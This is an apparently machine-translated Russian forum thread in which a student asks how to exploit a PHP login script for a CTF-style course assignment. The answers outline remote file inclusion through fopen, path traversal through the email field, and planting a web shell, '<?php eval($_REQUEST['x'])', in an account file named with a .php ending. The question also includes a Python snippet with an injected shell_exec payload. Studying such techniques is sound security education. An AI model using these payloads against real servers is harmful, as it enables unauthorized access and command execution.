Использование уязвимостей в php fopen

Я беру класс кибербезопасности, и для выполнения задания мы должны использовать определенный php-файл и получить какой-то доступ к серверу, на котором он размещен. Я могу установить свой собственный $email и $password переменные, как они установлены с $_POST, Я считаю, что единственный фрагмент кода, который я могу использовать, — это.

$email = $_POST['email']
$password = $_POST['password']
....
$accountfile = "./acounts/" . $email

if(!file_exists($accountfile)){
diefooter("unknown email address or password")
}
$fh = fopen($accountfile, "r")
if(!$fh){
diefooter("Cannot open file $accountfile.");
}
$last = fgets($fh);
$first = fgets($fh);
$pass = fgets($fh);

if(strcmp($pass,$password)!=0){
diefooter("wrong email or password.")
}

Я знаю, что в функцию fopen () встроены уязвимости и что я могу получить доступ к оболочке с правильным вводом.

filePath = "/var/ctf/music-copyright/html/cgi-bin/login.php"shellKode = "[email protected]\0;echo shell_exec("+'"cat '+filePath+'");'
# payload = {'email':shellKode, 'password':'test'}
testPayload = {'email':'[email protected]','password':'a'}
r = requests.post(url, data = testPayload)
print(r.text)

Я могу ввести электронное письмо в систему, но перед сохранением формат проверяется. На данный момент я немного растерялся и не уверен, что еще я могу делать.
fopen() Я думаю, что это единственная функция в файле, которую можно использовать, и я не могу вспомнить другое место, где может быть эксплойт.

4

Решение

Я думаю, что они имеют в виду уязвимость CRLF.

В вашем примере кода эксплойта вы передаете некоторый php-код, но это не то, что вы бы сделали.

Цель состоит в том, чтобы сделать fopen открыть файл из интернета. Если $email переменная содержит две строки, разделенные CRLF, вы можете иметь fopen() посетите внешний сайт там, где это не должно.

Все в зависимости от того, что происходит с $fh дескриптор файла после, он будет определять, как вы будете использовать это.

Вот ссылка, которую я нашел на эту уязвимость: http://www.securiteam.com/unixfocus/5OP0C0A8AC.html

РЕДАКТИРОВАТЬ после того, как вы отправили больше кода:

Мы начинаем с того, что вы можете заставить $password на значение, которое вы хотите.

Так что название игры заставляет $pass на значение, которое вы хотите, так что strcmp возвращается true, и вы вошли в систему, не зная пароля.

$pass контролируется в этом последнем утверждении $pass = fgets($fh)

И если вы используете уязвимость CRLF, чтобы указать fopen, чтобы открыть размещенный вами URL, например, Http: //your.ip.address/your-file, и внутри этого файла вы устанавливаете те же данные, что и в $password, И это должно позволить вам войти без регистрации.

Но в коде есть некоторые странные вещи, например, :

$last = fgets($fh);
$first = fgets($fh);
$pass = fgets($fh);

Похоже, код может быть неполным, потому что здесь значения $last, $first а также $pass всегда будет все то же самое, что не имеет смысла. Это был бы один вектор для рассмотрения.

Возможность № 2 — Обход файла:

С помощью ../ внутри вашего $email переменная, вы сможете получить доступ к другому файлу в fopen что это за пределами acounts/ папка.

Если вы запускаете:

<?php
$fh = fopen("acounts/../../test.sh","r");
?>

Он успешно оценивает и ищет две папки для содержимого test.sh. Таким образом, вы можете проверить содержимое файловой системы через $email переменная. Затем название игры находит стандартный файл, содержимое которого вы знаете, введите его в $password, и вы можете войти в систему без регистрации.

Возможность № 3 — Зарегистрировать адрес электронной почты, заканчивающийся на .php:

Как упомянуто drew010, при условии, что вам разрешено зарегистрировать пользовательский аккаунт, а затем зарегистрировать $email кончающийся на .phpи положить eval() PHP-код внутри $password при регистрации вашей учетной записи, это создаст файл бэкдора внутри acounts/ назван в честь вашего $email что вы можете получить доступ через Интернет.

5

Другие решения

Поскольку файл, который он открывает для хранения пользовательских данных, называется $accountfile = "./acounts/" . $email похоже, что одним из возможных векторов атак будет попытка зарегистрировать учетную запись, используя адрес электронной почты, например [email protected] (или просто username.php в зависимости от того, есть ли надлежащая проверка).

Так как он записывает (предположительно, не хэшированный?) Ваш пароль в этот файл, вы можете установить свой пароль на что-то плохое (например, <?php eval($_REQUEST['x'] ?>).

Затем посмотрите, можете ли вы получить доступ http://thesite/accounts/[email protected]?x=echo 'hi'; и посмотрите, распечатывается ли привет в браузере.

Если это так, то получайте удовольствие от $_REQUEST['x'] и заставить его делать такие вещи, как запись произвольных файлов в систему (веб-оболочка) или открывать и читать другие файлы и распечатывать их содержимое.

3

По вопросам рекламы [email protected]